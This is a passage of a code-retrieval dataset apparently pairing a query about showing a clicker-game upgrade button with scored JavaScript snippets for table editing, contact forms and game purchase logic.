$.trim($(\".value_td_input_\"+key_str+\".\"+ocurrence.substring(1,ocurrence.length-1)+\".\"+vectorial_key).text());\n $(\".value_td_input_\"+key_str+\".\"+ocurrence.substring(1,ocurrence.length-1)+\".\"+vectorial_key).html('<input class=\"input_edit_value_vectorial'+ocurrence+vectorial_key+'\" id=\"input_edit_'+key_str+'\" type=\"text\" value=\"'+value_str+'\"/>');\n\n }\n else\n {\n var value_str = $.trim($(\".value_td_input_\"+key_str+\".\"+vectorial_key).text());\n $(\".value_td_input_\"+key_str+\".\"+vectorial_key).html('<input class=\"input_edit_value_vectorial'+ocurrence+vectorial_key+'\" id=\"input_edit_'+key_str+'\" type=\"text\" value=\"'+value_str+'\"/>');\n }\n\n });\n\n $(\".input_edit_value_vectorial\").live(\"change\", function() {\n var key_str = $.trim(this.id.substring(11,this.id.length));\n var value_str = $.trim(this.value);\n var template_json_bk = $.extend({}, template_json);\n\n var list_of_classes = this.className.split(\" \");\n var ocurrence = null;\n var vectorial_key = null;\n\n if (list_of_classes.length!=1)\n {\n $.each(list_of_classes, function(index, value) {\n if (value.match(/^ocurrence_/))\n ocurrence=value.substring(10,value.length);\n });\n }\n\n if (list_of_classes.length!=1)\n {\n $.each(list_of_classes, function(index, value) {\n if (value.match(/^vectorial_key_/))\n vectorial_key=value.substring(14,value.length);\n });\n }\n\n if (ocurrence!=null)\n template_json[vectorial_key][ocurrence][key_str]=value_str;\n else\n template_json[vectorial_key][key_str]=value_str;\n\n template_str = convert_template_to_string(template_json,unshown_values);\n\n // Let OpenNebula know\n Sunstone.runAction(resource_type+\".update_template\",resource_id,template_str);\n\n template_json = template_json_bk;\n });\n\n // Listener for key,value pair remove action\n $(\"#div_minus_vectorial\").live(\"click\", function() {\n // Remove div_minus_ from the id\n var field = this.firstElementChild.id.substring(10,this.firstElementChild.id.length);\n var list_of_classes = this.firstElementChild.className.split(\" \");\n var ocurrence = null;\n var vectorial_key = null;\n\n if (list_of_classes.length!=1)\n {\n $.each(list_of_classes, function(index, value) {\n if (value.match(/^ocurrence_/))\n ocurrence=value.substring(10,value.length);\n });\n }\n\n if (list_of_classes.length!=1)\n {\n $.each(list_of_classes, function(index, value) {\n if (value.match(/^vectorial_key_/))\n vectorial_key=value.substring(14,value.length);\n });\n }\n\n // Erase the value from the template\n if(ocurrence!=null)\n delete template_json[vectorial_key][ocurrence][field];\n else\n delete template_json[vectorial_key][field];\n\n template_str = convert_template_to_string(template_json,unshown_values);\n\n // Let OpenNebula know\n Sunstone.runAction(resource_type+\".update_template\",resource_id,template_str);\n });\n\n // Listener for vectorial key,value pair add action\n $(\"#div_add_vectorial\").live(\"click\", function() {\n if (!$('#button_add_value_vectorial').html())\n {\n var field = this.firstElementChild.id.substring(18,this.firstElementChild.id.length);\n var list_of_classes = this.firstElementChild.className.split(\" \");\n var ocurrence = null;\n var vectorial_key = null;\n\n if (list_of_classes.length!=1)\n {\n $.each(list_of_classes, function(index, value) {\n if (value.match(/^ocurrence_/))\n ocurrence=value;\n });\n }\n\n if (list_of_classes.length!=1)\n {\n $.each(list_of_classes, function(index, value) {\n if (value.match(/^vectorial_key_/))\n vectorial_key=value;\n });\n }\n\n\n $(this).parent().parent().after('<tr>\\\n <td class=\"key_td\"><input type=\"text\" style=\"text-align:center\" name=\"new_key_vectorial\" id=\"new_key_vectorial\" /></td>\\\n <td class=\"value_td\"><input type=\"text\" name=\"new_value\" id=\"new_value_vectorial\" /></td>\\\n <td class=\"\"><button class=\"'+vectorial_key+\" \"+ocurrence+'\" id=\"button_add_value_vectorial\">'+tr(\"Add\")+'</button>\\</td>\\\n </tr>');\n }\n });\n\n // Add listener for add key and add value for Extended Template\n $('#button_add_value_vectorial').live(\"click\", function() {\n if ( $('#new_value_vectorial').val() != \"\" && $('#new_key_vectorial').val() != \"\" )\n {\n var list_of_classes = this.className.split(\" \");\n var ocurrence = null;\n var vectorial_key = null;\n var template_json_bk = $.extend({}, template_json);\n\n if (list_of_classes.length!=1)\n {\n $.each(list_of_classes, function(index, value) {\n if (value.match(/^vectorial_key_/))\n vectorial_key=value;\n });\n }\n\n if (list_of_classes.length!=1)\n {\n $.each(list_of_classes, function(index, value) {\n if (value.match(/^ocurrence_/))\n ocurrence=value;\n });\n }\n\n vectorial_key=vectorial_key.substring(14,vectorial_key.length);\n\n if (ocurrence!=null)\n {\n ocurrence=ocurrence.substring(10,ocurrence.length);\n template_json[vectorial_key][ocurrence][$('#new_key_vectorial').val()] = $.trim($('#new_value_vectorial').val());\n }\n else\n {\n template_json[vectorial_key][$('#new_key_vectorial').val()] = $.trim($('#new_value_vectorial').val());\n }\n\n template_str = convert_template_to_string(template_json,unshown_values);\n\n Sunstone.runAction(resource_type+\".update_template\",resource_id,template_str);\n // This avoids to get a messed template if the update fails\n template_json = template_json_bk;\n }\n });\n\n // Capture the enter key\n $('#new_value_vectorial').live(\"keypress\", function(e) {\n var ev = e || window.event;\n var key = ev.keyCode;\n\n if (key == 13)\n {\n //Get the button the user wants to have clicked\n $('#button_add_value_vectorial').click();\n ev.preventDefault();\n }\n })\n\n\n\n return str;\n}", "title": "" }, { "docid": "dba48d3f432e5220d725be7636486c69", "score": "0.58699983", "text": "eSave() {\n let ename = document.querySelector(\"#ename\");\n let eemail = document.querySelector(\"#eemail\");\n let eage = document.querySelector(\"#eage\");\n let ephonenumber = document.querySelector(\"#ephonenumber\");\n let eaddress = document.querySelector(\"#eaddress\");\n if (!this.inputChecker()) {\n alert('Empty fields are not allowed!');\n return;\n }\n this.load();\n var c = this.contactsList;\n // Check and make sure no field is empty\n if (this.contactOfInterest === undefined || this.contactOfInterest === null) {\n alert('Please click the edit button before saving');\n return;\n }\n c[this.contactOfInterest].name = ename.value;\n c[this.contactOfInterest].email = eemail.value;\n c[this.contactOfInterest].age = eage.value;\n c[this.contactOfInterest].phonenumber = ephonenumber.value;\n c[this.contactOfInterest].address = eaddress.value;\n this.save();\n if (this.trim(ename.value) === c.name) {\n if (this.trim(eemail.value) === c.email) {\n if (this.trim(eage.value) === c.age) {\n if (this.trim(ephonenumber.value) === c.phonenumber) {\n if (this.trim(eaddress.value) === c.address) {\n alert('Contact was successfully saved!');\n }\n }\n }\n }\n }\n\n // Make all input fields readonly again\n // after edit\n let f = document.querySelectorAll(\".i-edit\");\n for (let d of f) {\n d.setAttribute(\"readonly\", \"readonly\");\n\n }\n\n this.displayContactsAsList(\"contact-list\");\n }", "title": "" }, { "docid": "6dfd0f1e57dba67fc5b984fc59a371eb", "score": "0.58675104", "text": "function afterCrearPersona(persona_id){\n\t\t$.get('get_persona_row/'+persona_id,function(data){\n\t\t\tpersona_row_element = $('.persona_row_container[persona_id='+persona_id+']');\n\t\t\tif(persona_row_element.length > 0){//Update the row\n\t\t\t\tpersona_row_element.replaceWith(data);\n\t\t\t}else{//add new row\n\t\t\t\t$('#table_personas .conteiner_all_rows').append(data);\n\t\t\t}\n\t\t});\n\t}", "title": "" }, { "docid": "f65cc75019c30df65c38e70eb638b643", "score": "0.5865874", "text": "function Edit(){ \n\tvar par = $(this).parent().parent(); \n\n\tvar tdName = par.children(\"td:nth-child(1)\");\n\tvar tdEmail = par.children(\"td:nth-child(2)\");\n\tvar tdNumber = par.children(\"td:nth-child(3)\");\n\tvar tdAction = par.children(\"td:nth-child(4)\");\n\n\tvar btnSave = \"<input type='image' src='img/save20px.png' class='save'/>\";\n\tvar btnDelete = \"<input type='image' src='img/delete20px.png' class='delete'/>\";\n\n\n\ttdName.html(\"<input type='text' id='editName' value='\"+tdName.html()+\"'/>\");\n\ttdEmail.html(\"<input type='email' id='editEmail' maxlength='4' size='4' value='\"+tdEmail.html()+\"'/>\");\n\ttdNumber.html(tdNumber.html());\n\ttdAction.html(btnSave + \" \" + btnDelete);\n\n\n\t$(\".save\").bind(\"click\", Save);\n\t$(\".delete\").bind(\"click\", Delete);\n }", "title": "" } ]
c2a5a0bdb9cd4bf7c0e7ac5b192b37d3
Makes the upgrade's button appear when the GmB amount reaches the upgrade's price (10)
[ { "docid": "fc90f30e3deb16b8acd256f0663133fa", "score": "0.0", "text": "function aparecerBoton() {\n document.getElementById('botonUpgP').removeAttribute('hidden');\n}", "title": "" } ]
[ { "docid": "67ce5a7689f066fa829877bca975bdf2", "score": "0.74756837", "text": "function update_upgrade_buttons() {\n [gravity, bounce, aim_radius, ball_radius,\n ball_amount, bubble_amount, bubble_radius_range,\n bubble_value_range, hits_multiplier,\n streak_multiplier, total_multiplier].forEach(u => {\n u.btn_upgrade.setAttribute('disabled', u.maxed || u.upgrades[u.level + 1].price > points)\n })\n}", "title": "" }, { "docid": "86dbcd6984590c2417ffcfb92c39f219", "score": "0.693346", "text": "function upDateBuy()\n{\n\tif(GOLD >0)\n\t{\n\t\tif(GOLD>=document.getElementById(\"myFirstButton\").value)\n\t\t{\n\t\t\tdocument.getElementById(\"myFirstButton\").disabled = false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tdocument.getElementById(\"myFirstButton\").disabled = true;\n\t\t}\n\t\t\n\t\tif(GOLD>=document.getElementById(\"mySecondButton\").value)\n\t\t{\n\t\t\tdocument.getElementById(\"mySecondButton\").disabled = false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tdocument.getElementById(\"mySecondButton\").disabled = true;\n\t\t}\n\t\t\n\t\tif(GOLD>=document.getElementById(\"myThirdButton\").value)\n\t\t{\n\t\t\tdocument.getElementById(\"myThirdButton\").disabled = false;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tdocument.getElementById(\"myThirdButton\").disabled = true;\n\t\t}\n\t}\n\telse\n\t{\n\t\tdocument.getElementById(\"myFirstButton\").disabled = true;\n\t\tdocument.getElementById(\"mySecondButton\").disabled = true;\n\t\tdocument.getElementById(\"myThirdButton\").disabled = true;\n\t\t\n\t}\n}", "title": "" }, { "docid": "01780dc812482ea1cff0a4d8e46b7fb4", "score": "0.6827853", "text": "function upgradeClick() {\r\n \"use strict\";\r\n if (coins >= upgradeIncrement) {\r\n increment *= 3;\r\n coins -= upgradeIncrement;\r\n upgradeIncrement *= 5;\r\n update();\r\n }\r\n}", "title": "" }, { "docid": "5495e77e5d8579dc7e379b86b75f9801", "score": "0.6798903", "text": "function upgrade() { //detect upgrades\n if (app.purchased[2] >= 1) { //if you own item 2\n up.click = 2; //make the bags per click 2\n } else {\n up.click = 1;\n }\n if (app.purchased[4] >= 1) { //if you own item 4\n up.luck = 1; //used in buyable component\n } else {\n up.luck = 0;\n }\n}", "title": "" }, { "docid": "a0fc6c2ef6c9044f3d356c95150460b5", "score": "0.67222637", "text": "function areTenUpgradesAffordable() {\n if (coinsAvailable >= tenUpgradesPrice) {\n document.getElementById('buy-10-upgrades-btn').removeAttribute(\"disabled\");\n } else {\n document.getElementById('buy-10-upgrades-btn').setAttribute(\"disabled\", \"disabled\");\n }\n}", "title": "" }, { "docid": "64b5a9d757489eae489a387048da292b", "score": "0.6658516", "text": "update() {\n let item = this.model.listing[this.index];\n this.description.textContent = `${item.bill.toString()}${ item.price >= 200 ? \" (mint condition)\" : \"\" }`;\n this.price.textContent = `Price: $${item.price}`;\n this.billImage.src = item.bill.getImgUrl();\n\n if (user_view.user.wallet >= item.price) {\n this.button.disabled = false;\n } else {\n this.button.disabled = true;\n }\n }", "title": "" }, { "docid": "bca1f5e5b8fd69cf4380710f4eaad2ba", "score": "0.6570383", "text": "function enableBtn(){\n if(eggs >=farmerPrice){\n farmerBtn.disabled = false;\n }\n else if(eggs >=henHousePrice){\n henHouseBtn.disabled = false;\n }\n else if(eggs >=henPrice){\n henBtn.disabled = false;\n }\n else if(eggs >=chickenPrice){\n chickBtn.disabled = false;\n }\n}", "title": "" }, { "docid": "fa1fb6854d2b42cba4e6b4250bdb8d3d", "score": "0.651156", "text": "function updatePrecioUpgrade() {\n precio1.innerHTML = 'Price: ' + upg.precio + ' GmB';\n}", "title": "" }, { "docid": "ce004ab1b49c0282c4a4f83e124e4f91", "score": "0.6490954", "text": "function isSingleUpgradeAffordable() {\n if (coinsAvailable >= singleUpgradePrice) {\n document.getElementById('buy-single-upgrade-btn').removeAttribute(\"disabled\");\n } else {\n document.getElementById('buy-single-upgrade-btn').setAttribute(\"disabled\", \"disabled\");\n }\n}", "title": "" }, { "docid": "237694a9fea12e80c08d7d061f6e5058", "score": "0.640041", "text": "function priceIncrease() {\n if (wealthCurrent >= happinessPriceCurrent) {\n happinessPriceCurrent += happinessIncrease;\n $('#happinessCost').html(happinessPriceCurrent);\n }\n}", "title": "" }, { "docid": "daf3f058e73d8f6e0b1a2e69f619607e", "score": "0.63716686", "text": "function buyClickItem(item) {\n if (cheese >= clickUpgrades[item].price) {\n cheese -= clickUpgrades[item].price\n clickUpgrades[item].quanity++\n priceIncrease(item)\n \n // let kirbyElem = document.getElementById('kirby')\n // kirbyElem.classList.add('power-up')\n }\n\n drawMultiplier()\n update()\n}", "title": "" }, { "docid": "528f94a213c5c87bf5a2261b8f9459f9", "score": "0.63457036", "text": "function showUpgradeMenu() {\n changeUiState(\"BUY UPGRADES\", \"upgrademenu\");\n\n if (playerState.resources.upgradeAllowance > 0) {\n document.getElementById(\"upgradecredit\").textContent = \"CREDIT: $\" + (playerState.resources.upgradeAllowance / 100).toFixed(2);\n }\n else {\n document.getElementById(\"upgradecredit\").style.display = \"none\";\n }\n\n // Clear table\n var upgradeTable = document.getElementById(\"upgradetable\");\n for (var i = upgradeTable.rows.length - 1; i > 1; i--) {\n upgradeTable.deleteRow(i);\n }\n\n // List upgrades to buy\n for (var i = 0; i < playerState.upgrades.length; i++) {\n var upgrade = playerState.upgrades[i];\n var tr = document.createElement(\"TR\");\n\n var name = document.createElement(\"TD\");\n name.appendChild(document.createTextNode(upgrade.name));\n tr.appendChild(name);\n\n var cost = document.createElement(\"TD\");\n cost.appendChild(document.createTextNode(\"$\" + (upgrade.cost / 100).toFixed(2)));\n tr.appendChild(cost);\n\n var description = document.createElement(\"TD\");\n description.appendChild(document.createTextNode(upgrade.description));\n tr.appendChild(description);\n\n var totalowned = document.createElement(\"TD\");\n totalowned.appendChild(document.createTextNode(upgrade.amountOwned + playerState.justPurchasedUpgrades[upgrade.name.toLowerCase()]));\n tr.appendChild(totalowned);\n\n var amounttobuy = document.createElement(\"TD\");\n var amounttobuyinput = document.createElement(\"input\");\n amounttobuyinput.type = \"number\";\n amounttobuyinput.step = 1;\n amounttobuyinput.min = 0;\n amounttobuyinput.max = 999;\n amounttobuyinput.placeholder = 0;\n amounttobuyinput.id = upgrade.name.toLowerCase() + \"buyamount\";\n amounttobuyinput.addEventListener(\"input\", function (event) {\n updateUpgradeCost();\n });\n\n amounttobuy.appendChild(amounttobuyinput);\n tr.appendChild(amounttobuy);\n\n upgradeTable.appendChild(tr);\n }\n\n // Add the button to buy upgrades\n var bottomRow = document.createElement(\"TR\");\n\n var upgradepricesquare = document.createElement(\"TD\");\n upgradepricesquare.colSpan = 2;\n upgradepricesquare.id = \"buyupgradeprice\";\n bottomRow.appendChild(upgradepricesquare);\n\n var buyupgradebuttonsquare = document.createElement(\"TD\");\n buyupgradebuttonsquare.colSpan = 3;\n var upgradebuttoninput = document.createElement(\"input\");\n upgradebuttoninput.type = \"button\";\n upgradebuttoninput.id = \"buyupgradesbutton\";\n upgradebuttoninput.value = \"BUY UPGRADES\";\n upgradebuttoninput.className = \"display-4\";\n upgradebuttoninput.disabled = true;\n upgradebuttoninput.addEventListener(\"click\", function (event) {\n buyUpgrades();\n event.preventDefault();\n });\n\n buyupgradebuttonsquare.appendChild(upgradebuttoninput);\n bottomRow.appendChild(buyupgradebuttonsquare);\n\n upgradeTable.appendChild(bottomRow);\n}", "title": "" }, { "docid": "cf0cece19167aba40c72b7da09ec40a3", "score": "0.6202471", "text": "function evitarNegs() {\n botonUpg.disabled = GmB.cantidad < upg.precio;\n}", "title": "" }, { "docid": "274647ccc7a332cebe2739882c144314", "score": "0.61662966", "text": "function blockUpgrades(){\n // Unlockup Item lemmons\n if (totalClicks >= 100) {\n $itemLemon.first().show( \"fast\", function showNext() {\n $( this ).next( \"div\" ).show( \"fast\", showNext );\n });\n\n $lemonPrice.first().show( \"fast\", function showNext() {\n $( this ).next( \"div\" ).show( \"fast\", showNext );\n });\n }else{\n $itemLemon.disabled = true;\n }\n\n // Unlockup Item Ice\n\n if (totalClicks >= 1000) {\n $itemIce.first().show( \"fast\", function showNext() {\n $( this ).next( \"div\" ).show( \"fast\", showNext );\n });\n\n $icePrice.first().show( \"fast\", function showNext() {\n $( this ).next( \"div\" ).show( \"fast\", showNext );\n });\n }else{\n $itemLemon.disabled = true;\n }\n\n // Unlockup Item Sugar\n if (totalClicks >= 5000) {\n $itemSugar.first().show( \"fast\", function showNext() {\n $( this ).next( \"div\" ).show( \"fast\", showNext );\n });\n\n $sugarPrice.first().show( \"fast\", function showNext() {\n $( this ).next( \"div\" ).show( \"fast\", showNext );\n });\n }else{\n $itemLemon.disabled = true;\n }\n\n // Unlockup Item Peppermint\n if (totalClicks >= 10000) {\n $itemPeppermint.first().show( \"fast\", function showNext() {\n $( this ).next( \"div\" ).show( \"fast\", showNext );\n });\n\n $peppermintPrice.first().show( \"fast\", function showNext() {\n $( this ).next( \"div\" ).show( \"fast\", showNext );\n });\n }else{\n $itemLemon.disabled = true;\n }\n}", "title": "" }, { "docid": "793c573377968c005d7e19109c10770f", "score": "0.616521", "text": "performUpgrade(){\n //var thisValues = values[this.type + this.level];\n\n //if I can afford it\n if(this.isAffordable()){\n //subtract the cost\n number -= this.values.cost;\n //add to amount\n this.values.amount += 1;\n //increase cost\n this.values.cost *= this.values.increase;\n\n this.updateButton();\n }\n }", "title": "" }, { "docid": "f1d431ef587af25206e784a3eb0e0adb", "score": "0.6153395", "text": "function mouseDamUpgrade(){\n\tif(money >= Math.pow(10,upgrades[6])){\n\t\tmouseDam+=2;\n\t\tincreaseScoreBy(-1*Math.pow(10,upgrades[6]));\n\t\tupgrades[6]++;\n\t\tmouseButtonDam.text = \"Upgrade: $\"+Math.pow(10,upgrades[6]);\n upgradeSound.play();\n\t}\n}", "title": "" }, { "docid": "49c5f02d91b146a8e68650382dcf5f31", "score": "0.6105131", "text": "function buyPickaxe() {\n if (copper >= clickUpgrades.pickaxe.price) {\n clickUpgrades.pickaxe.quantity++\n multiplier += clickUpgrades.pickaxe.multiplier\n copper -= clickUpgrades.pickaxe.price\n clickUpgrades.pickaxe.price *= clickUpgrades.pickaxe.price\n update()\n }\n}", "title": "" }, { "docid": "64974bc3b35c3cd52a196aa57e75a133", "score": "0.60787874", "text": "function min(){\n startingCred -= 1;\n //newCred=startingCred;\n totalBet += 1;\n $(\"#totalBet\").text(\"Total Bet: \" +totalBet);\n $(\"#credits\").text(\"Credits: \"+startingCred);\n\n // $.playSound(\"../soundeffects/wickedwitchlaugh.mp3\");\n //if player bets min $1 and loses the total will go down by 1\n }", "title": "" }, { "docid": "41e0ec2ab0958fdd97910764c7631457", "score": "0.60271925", "text": "function checkBet() {\n if ((playerBet > playerMoney) || (playerBet <= 0)) {\n spinButton.mouseEnabled = false;\n }\n else {\n spinButton.mouseEnabled = true;\n }\n}", "title": "" }, { "docid": "803f92fe6122a15d769879d0a3a9d7b8", "score": "0.5987624", "text": "function buy(thing) {\r\n \"use strict\";\r\n if (coins >= upgrades[thing]) {\r\n coins -= upgrades[thing];\r\n upgrades[thing] *= 1.1;\r\n document.getElementById(thing).firstChild.data = \"Buy {0} Cost: {1}\".format(thing, upgrades[thing].toFixed(1));\r\n bought[thing] = bought[thing] + 1;\r\n update();\r\n }\r\n}", "title": "" }, { "docid": "1096bd2ec2ebd42825f2e6e1116e5507", "score": "0.59583783", "text": "function displayBuyButton(){\n if(inventoryJSON[currentIdGeneral]+1 == parseInt(currentIdSub.replace( /^\\D+/g, ''))){\n document.getElementById('equipAction').innerHTML = textDat['general'][currentIdGeneral][0][currentIdSub][2] + \" gold\";\n document.getElementById('equipAction').style.backgroundColor = null;\n }else if(equippedJSON[currentIdGeneral] == parseInt(currentIdSub.replace( /^\\D+/g, ''))){\n document.getElementById('equipAction').innerHTML = \"Equipped\";\n document.getElementById('equipAction').style.backgroundColor = \"green\";\n }else if(inventoryJSON[currentIdGeneral] > parseInt(currentIdSub.replace( /^\\D+/g, ''))-1){\n document.getElementById('equipAction').innerHTML = \"Equip\";\n document.getElementById('equipAction').style.backgroundColor = \"#5eaf4f\";\n }\n else{\n document.getElementById('equipAction').innerHTML = \"Locked\";\n document.getElementById('equipAction').style.backgroundColor = \"grey\";\n }\n}", "title": "" }, { "docid": "3a69a1caed56ac0afb0e4559ad5e83be", "score": "0.5953466", "text": "function toggleAutoBuy() {\n\n if (autoBuying === true) {\n autoBuying = false;\n counter -= 50;\n $autoBuyToggleButton.text('Off');\n } else {\n autoBuying = true;\n $autoBuyToggleButton.text('On');\n }\n}", "title": "" }, { "docid": "4ca1fdc81da4e1a74c778124872e9d26", "score": "0.5928851", "text": "function sellClick(number){\r\n\t\r\n\tif(fish >= number){\r\n\t\tfish = fish - number;\r\n\t\tgold = gold + number;\r\n\t\tdocument.getElementById(\"fish\").innerHTML = fish + \" fish\";\r\n\t\tdocument.getElementById(\"gold\").innerHTML = gold + \" gold\";\r\n\t}\r\n\t\r\n}", "title": "" }, { "docid": "047f692d921d648c589ff09e86b5c144", "score": "0.5928408", "text": "function update() {\n let cheeseElem = document.getElementById(\"cheese\")\n cheeseElem.innerText = 'Total Kandy: ' + cheese.toString()\n \n let hammerPrice = document.getElementById('hammer')\n hammerPrice.innerHTML = 'Hammer: ' + clickUpgrades.hammer.price.toString()\n \n let starPrice = document.getElementById('star')\n starPrice.innerHTML = 'Star: ' + clickUpgrades.star.price.toString()\n \n let cloudPrice = document.getElementById('clouds')\n cloudPrice.innerHTML = 'Clouds: ' + clickUpgrades.clouds.price.toString()\n\n let twinPrice = document.getElementById('twin')\n twinPrice.innerHTML = 'Twin: ' + clickUpgrades.twin.price.toString()\n\n let modifierElem = document.getElementById('modifiers')\n modifierElem.innerHTML = 'Modifiers: ' + drawMultiplier()\n\n let hammerInvElem = document.getElementById('hammer-inv')\n hammerInvElem.innerHTML = 'Hammers: ' + clickUpgrades.hammer.quanity.toString() + '<br> +1 click'\n\n let starInvElem = document.getElementById('star-inv')\n starInvElem.innerHTML = 'Stars: ' + clickUpgrades.star.quanity.toString() +'<br> +5 clicks'\n\n let cloudsInvElem = document.getElementById('clouds-inv')\n cloudsInvElem.innerHTML = 'Clouds: ' + clickUpgrades.clouds.quanity.toString() + '<br> +20 passive clicks'\n\n let twinInvElem = document.getElementById('twin-inv')\n twinInvElem.innerHTML = 'Twins: ' + clickUpgrades.twin.quanity.toString() + '<br> +50 passive clicks'\n}", "title": "" }, { "docid": "b412998d2c68a539cdea1afb23c2d384", "score": "0.5914904", "text": "function incr(bt) {\n $('#dec_'+bt).prop('disabled', false);\n min += 100;\n max += 100;\n }", "title": "" }, { "docid": "014f117d293e84c838a53cf043d9c75a", "score": "0.5880727", "text": "function moneyButtonClick(amount) {\n\tvar ifUpdate = false;\n\taddMoney(player.moneyPerClick * amount);\n\tplayer.clickTracker += amount;\n\tplayer.totalClicks += amount;\n\tif(player.clickTracker < 5000 * player.clicksToGain){ //while loop gets executed max 5000 times\n \twhile(player.clickTracker >= player.clicksToGain){\n \t\tvar toAdd = Math.round(player.buildings[8].owned * player.mult[1] * globalMult[1])\n \t\tplayer.clickTracker -= player.clicksToGain;\n \t\taddMoneyPerClick(0.1 * player.mult[0] * toAdd * globalMult[0]);\n \t\tfor(var i = 0; i < numTiers - 1; i++){\n \t\t\tplayer.buildings[5*i + 3].owned += Math.round(player.buildings[5*(i+1) + 3].owned*player.mult[i+1]*globalMult[i+1]);\n \t\t}\n \t}\n \tifUpdate = true;\n }\n else{ //removes iterative component for large numbers\n var toAdd = Math.round(player.buildings[8].owned * player.mult[1] * globalMult[1] * Math.floor(amount / player.clicksToGain));\n player.clickTracker = amount % player.clicksToGain;\n addMoneyPerClick(0.1 * player.mult[0] * toAdd * globalMult[0]);\n for(var i = 0; i < numTiers - 1; i++){\n player.buildings[5*i + 3].owned += Math.round(player.buildings[5*(i+1) + 3].owned*player.mult[i+1]*globalMult[i+1] * Math.floor(amount / player.clicksToGain));\n }\n ifUpdate = true;\n }\n \n\tplayer.moneyPerAutoclick = player.upgrades[0] * player.moneyPerClick;\n\tupdateMoney();\n\tif(ifUpdate) updateInventory();\n}", "title": "" }, { "docid": "0ee2c98749d317e6c8ea686a55155374", "score": "0.58684677", "text": "function showDeliveryOptions() {\n if (document.querySelector(\"#checkboxCharger\").checked == true) {\n document.querySelector(\"#deliveryItems\").classList.add(\"hide\");\n document.querySelector(\"#numberOfChargers\").value = \"0\";\n document.querySelector(\".items-number p\").textContent =\n 200 * document.querySelector(\"#numberOfChargers\").value;\n document.querySelector(\".finalPriceChargers\").textContent = \"0\";\n document.querySelector(\".finalPriceAll\").textContent =\n Number(document.querySelector(\".finalPriceService\").textContent) +\n Number(document.querySelector(\".finalPriceChargers\").textContent);\n } else {\n document.querySelector(\"#deliveryItems\").classList.remove(\"hide\");\n // document.querySelector(\"#cartItem-charger\").classList.remove(\"hide\");\n document.querySelector(\n \".finalPriceChargers\"\n ).textContent = document.querySelector(\".items-number p\").textContent;\n document.querySelector(\".finalPriceAll\").textContent =\n Number(document.querySelector(\".finalPriceService\").textContent) +\n Number(document.querySelector(\".finalPriceChargers\").textContent);\n }\n}", "title": "" }, { "docid": "47eef09e24a6ecd783cb24526fe16b8b", "score": "0.5842263", "text": "function equipmentClickLIstener(event)\n{\n\tvar element=event.target;\n\tCLICKDMG+=element.value/10;\n\tconsole.log(CLICKDMG);\n\tGOLD-=element.value;\n\tconsole.log(GOLD);\n\n\t//Updates the view\n\tupDateClick();\n\tupDateGold();\n\tupDateBuy();\n}", "title": "" }, { "docid": "8bd9c3fa2ed4446741655ee3379895d0", "score": "0.5839306", "text": "function buyPhone() {\n if (karencount >= phoneprice) {\n karencount = karencount - phoneprice;\n phoneamount = phoneamount + 1;\n phoneclicker = phoneclicker + 1;\n phoneprice = phoneprice + (1 * phoneamount);\n update()\n }\n}", "title": "" }, { "docid": "c9a38a680e35e8c8639b588986638ad6", "score": "0.5820226", "text": "function updateAbilityLabels(){\r\n var nocharges = (player.abilityPoints < 1)\r\n for (var i = 0; i <= 5; i++){\r\n if (player.abilityLevels[i]>=5){\r\n document.getElementById(i+\"abilityBtn\").style.display=\"none\";\r\n document.getElementById(i+\"abilityMaxed\").style.display=\"\";\r\n continue;\r\n }\r\n var cost = getAbilityCost(i);\r\n\r\n document.getElementById(i+\"abilityBtn\").innerHTML = \"Cost: \" + formatValue(cost,2,0);\r\n document.getElementById(i+\"abilitySpan\").innerHTML = formatValue(player.abilityLevels[i],2,0);\r\n if (nocharges || player.money < cost){\r\n document.getElementById(i+\"abilityBtn\").style.color = \"gray\";\r\n } else {\r\n document.getElementById(i+\"abilityBtn\").style.color = \"black\";\r\n }\r\n }\r\n document.getElementById(\"abilityPoints\").innerHTML = formatValue(player.abilityPoints,2,0);\r\n}", "title": "" }, { "docid": "27a49fc21e903f9f85b83ca5e5791aca", "score": "0.5814249", "text": "function updateDisplayStock(productID){\r\n detailedProduct = (findDetailedProduct(productID)).productData;\r\n var displayQty = parseInt(detailedProduct.qty);\r\n getCartProducts();\r\n var i = findProductIndex(productID);\r\n displayQty -= cartProducts[i].qty;\r\n document.getElementById(\"qty_info\").innerHTML = \"Disponibile: \" + displayQty + \" produse\";\r\n if(displayQty===0){\r\n document.getElementById(\"add_to_cart_btn\").setAttribute(\"disabled\",\"true\");\r\n }\r\n}", "title": "" }, { "docid": "716ebd5846c6c54c0a6dbbda54506f51", "score": "0.581138", "text": "function blackJack(){\n if (totalValue(playerHand) > 21){\n \n document.querySelector(\".bust\").innerHTML = (\"!BUST!\");\n \n } \n }", "title": "" }, { "docid": "798d0883e645afa420fe486138771b27", "score": "0.5809434", "text": "function increaseVolumeBarVacancyTo(amt) {\n // amt is the percentage value that the empty bar's height should be set to\n var empty = $('#volume-empty');\n empty.attr('style', \"height: \" + amt + \"% !important;\");\n commonVolume = 1 - (amt / 100);\n if (currentSongNumber !== -1) {\n audioObjs[currentSongNumber][0].volume = commonVolume;\n }\n }", "title": "" }, { "docid": "08e221fff1e185f3df32914445a8b110", "score": "0.5808894", "text": "function action5() {\n if (player.radiation < 1000) {\n rnJesus = shopPrice * 50;\n\n if (player.energy >= 100 && player.hunger >= 2 && player.thirst >= 1 && player.scrap >= rnJesus) {\n needsOneTick();\n\n player.scrap -= rnJesus;\n player.radiation -= 50;\n\n if (player.radiation <= 0) {\n player.radiation = 0;\n }\n player.energy -= 90;\n\n timeTableTick();\n\n document.getElementById('historyLog').innerText = \"You spent 50 scrap for a whiff of Cura'Sal. \";\n document.getElementById('historyLog2').innerText = 'You feel nauseated and tired.' ;\n\n } else if (player.scrap <= 50) {\n document.getElementById('historyLog').innerText = \"Banana Sauce does not provide free Cura'Sal. \";\n document.getElementById('historyLog2').innerText = \"Make more money, you poor bastard. \";\n\n } else {\n document.getElementById('historyLog').innerText = \"Taking Cura'Sal under exhaustion may lead to comatose or heart failure. \";\n document.getElementById('historyLog2').innerText = \"Just go to sleep and take it in the morning. \";\n }\n\n } else {\n document.getElementById('historyLog').innerText = 'You are dead. ';\n document.getElementById('historyLog2').innerText = '';\n document.getElementById('historyLog3').innerText = '';\n }\n\n updateUI();\n}", "title": "" }, { "docid": "721ae8fd4ef5f109e656175182dd2bec", "score": "0.58068407", "text": "function buyUpgrade(upgradeName) {\n let upgradeIndex = findUpgradeIndex(upgradeName)\n let upgradeObj = stats.upgrades[upgradeIndex]\n let purchase = true;\n if (upgradeObj.max) {\n if 